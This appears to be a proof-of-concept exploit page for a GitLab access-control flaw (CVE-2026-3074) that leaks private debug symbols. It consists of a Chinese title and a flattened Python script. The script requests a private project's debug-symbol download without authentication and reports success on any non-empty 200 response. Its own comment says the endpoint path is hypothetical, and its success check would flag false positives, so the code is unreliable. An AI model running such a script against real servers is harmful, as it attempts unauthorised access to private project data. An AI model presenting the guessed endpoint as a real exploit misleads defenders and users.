CVE-2026-3074 GitLab 访问控制缺陷致私有调试符号泄露

import requests def check_poc(target_url, project_id): # Construct the vulnerable endpoint for debug symbols # Note: The exact endpoint path is hypothetical based on the vulnerability description endpoint = f"{target_url.rstrip('/')}/-/debug_symbols/{project_id}/download" headers = { "User-Agent": "CVE-2026-3074-Scanner" } try: # Sending request without authentication (as per description) response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: # Check if content type suggests a binary/symbol file if "application/octet-stream" in response.headers.get("Content-Type", "") or len(response.content) > 0: print(f"[+] Vulnerability Confirmed! Downloaded debug symbols for project {project_id}.") print(f"[+] Response Size: {len(response.content)} bytes") return True else: print(f"[-] Exploit failed. Status Code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "https://gitlab.target.com" pid = "12345" # Private Project ID check_poc(target, pid)